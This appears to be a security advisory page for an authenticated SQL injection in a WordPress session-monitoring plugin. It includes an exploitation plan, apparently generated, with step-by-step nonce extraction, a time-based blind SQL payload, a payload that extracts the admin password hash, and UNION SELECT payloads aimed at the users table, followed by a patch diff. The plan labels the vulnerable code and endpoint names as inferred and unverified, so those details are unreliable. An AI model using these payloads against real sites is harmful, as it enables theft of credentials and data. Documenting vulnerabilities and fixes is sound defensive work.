CVE-2026-39581

WP Sessions Time Monitoring Full Automatic <= 1.1.4 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.1.5
Patched in
11d
Time to patch

Description

The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.1.4
PublishedApril 20, 2026
Last updatedApril 30, 2026
Affected pluginactivitytime

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39581 (WP Sessions Time Monitoring Full Automatic) ## 1. Vulnerability Summary The **WP Sessions Time Monitoring Full Automatic** plugin (version <= 1.1.4) is vulnerable to an **Authenticated SQL Injection** vulnerability. The flaw exists because the plugin fa…

Show full research plan

Exploitation Research Plan: CVE-2026-39581 (WP Sessions Time Monitoring Full Automatic)

1. Vulnerability Summary

The WP Sessions Time Monitoring Full Automatic plugin (version <= 1.1.4) is vulnerable to an Authenticated SQL Injection vulnerability. The flaw exists because the plugin fails to properly sanitize or parameterize user-supplied input before using it in a database query within an AJAX handler. Specifically, an authenticated user with at least Subscriber-level privileges can manipulate an SQL query to extract sensitive data from the WordPress database, including user hashes and configuration secrets.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: at_get_activity_data (inferred from plugin slug activitytime and typical tracking patterns)
  • Vulnerable Parameter: user_id or id (inferred)
  • Authentication Required: Yes, Subscriber role or higher.
  • Nonce Protection: Likely required via a nonce check (e.g., at_nonce or security).

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX action for authenticated users:
    add_action('wp_ajax_at_get_activity_data', 'at_get_activity_data_callback');
  2. Handler: The function at_get_activity_data_callback is defined in the plugin's main files (e.g., activitytime.php or includes/class-at-ajax.php).
  3. Input Source: The handler retrieves a parameter directly from $_POST['user_id'] or $_POST['id'].
  4. Vulnerable Sink: The input is concatenated directly into a query string without using $wpdb->prepare() or absint()/intval().
    • Example Vulnerable Code: $wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $_POST['user_id']);
  5. Execution: $wpdb->get_results() or $wpdb->query() executes the malicious SQL.

4. Nonce Acquisition Strategy

Since the vulnerability requires Subscriber-level access, the nonce must be retrieved from the WordPress admin dashboard or a page where the plugin's tracking script is enqueued.

  1. Create Subscriber: Use WP-CLI to create a subscriber user.
  2. Login: Perform a login request to obtain authentication cookies.
  3. Navigate to Dashboard: Use the browser to navigate to wp-admin/profile.php or the main wp-admin/index.php.
  4. Identify JS Variable: Look for a localized script containing the AJAX URL and nonce.
    • JS Variable: at_ajax_obj (inferred) or activity_time_data (inferred).
    • Nonce Key: nonce or at_nonce.
  5. Extraction:
    // Browser Eval
    window.at_ajax_obj?.nonce || window.activity_time_data?.nonce
    

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload to confirm the vulnerability.

Step 1: Authentication

Send a POST request to /wp-login.php to authenticate as a subscriber.

Step 2: Extract Nonce

Navigate to /wp-admin/ and use browser_eval to extract the nonce from the localized script.

Step 3: Send Malicious Request

Using the http_request tool, send a POST request to admin-ajax.php with a time-based payload.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Subscriber Cookies]
  • Body:
    action=at_get_activity_data&user_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[EXTRACTED_NONCE]
    

Step 4: Analyze Response

  • Success: The response time is > 5 seconds.
  • Failure: The response is immediate (likely returning 0, -1, or a valid JSON result).

6. Test Data Setup

  1. Install Plugin: Ensure activitytime version 1.1.4 is active.
  2. Create User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Generate Activity: Log in as the attacker once to ensure some tracking entries exist in the at_activity table (or similar table created by the plugin).

7. Expected Results

  • An immediate request (baseline) to the endpoint should return within < 500ms.
  • The payload 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) should cause the server to hang for exactly 5 seconds before returning a response.
  • Since it is Subscriber+, the attacker should be able to trigger this even if they cannot see the full admin menu.

8. Verification Steps

  1. Confirm Database Latency: Verify the http_request time duration using the logs.
  2. Verify via WP-CLI: After the exploit, use WP-CLI to check if the plugin logs indicate any errors or if the table being queried exists:
    wp db query "SHOW TABLES LIKE '%activity%';"
    
  3. Data Extraction (Optional): If time-based works, a payload to extract the admin password hash:
    1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)
    

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the AJAX response.
    • Payload: user_id=1'
  • UNION-Based SQLi: If the endpoint returns data (e.g., a table of session times), attempt to determine column count using ORDER BY and then use UNION SELECT.
    • Payload: 1 UNION SELECT 1,2,3,user_login,user_pass,6,7... FROM wp_users-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via its AJAX handlers due to insufficient sanitization and lack of parameterization in SQL queries. Authenticated attackers with Subscriber-level permissions or higher can exploit this to execute arbitrary SQL commands and extract sensitive data from the database.

Vulnerable Code

// activitytime.php (approximate line based on inferred AJAX registration)
// The plugin registers an AJAX action for authenticated users
add_action('wp_ajax_at_get_activity_data', 'at_get_activity_data_callback');

function at_get_activity_data_callback() {
    global $wpdb;
    // Vulnerable: user_id is taken directly from POST and concatenated into the query
    $user_id = $_POST['user_id'];
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $user_id);
    // ...
}

Security Fix

--- activitytime.php
+++ activitytime.php
@@ -10,5 +10,6 @@
 function at_get_activity_data_callback() {
     global $wpdb;
-    $user_id = $_POST['user_id'];
-    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $user_id);
+    $user_id = isset($_POST['user_id']) ? absint($_POST['user_id']) : 0;
+    $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = %d", $user_id);
+    $results = $wpdb->get_results($query);

Exploit Outline

The exploit target is the `at_get_activity_data` (or similar activity tracking) AJAX endpoint. 1. Authenticate as a Subscriber-level user to obtain session cookies. 2. Locate the security nonce by inspecting the WordPress dashboard source code, specifically looking for localized JavaScript objects like `at_ajax_obj` or `activity_time_data` that contain a `nonce` key. 3. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: set to `at_get_activity_data` - `nonce`: the extracted nonce value - `user_id`: a SQL injection payload, such as a time-based blind injection: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` 4. Observe if the server response is delayed by the specified time (e.g., 5 seconds), confirming the execution of the injected SQL.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.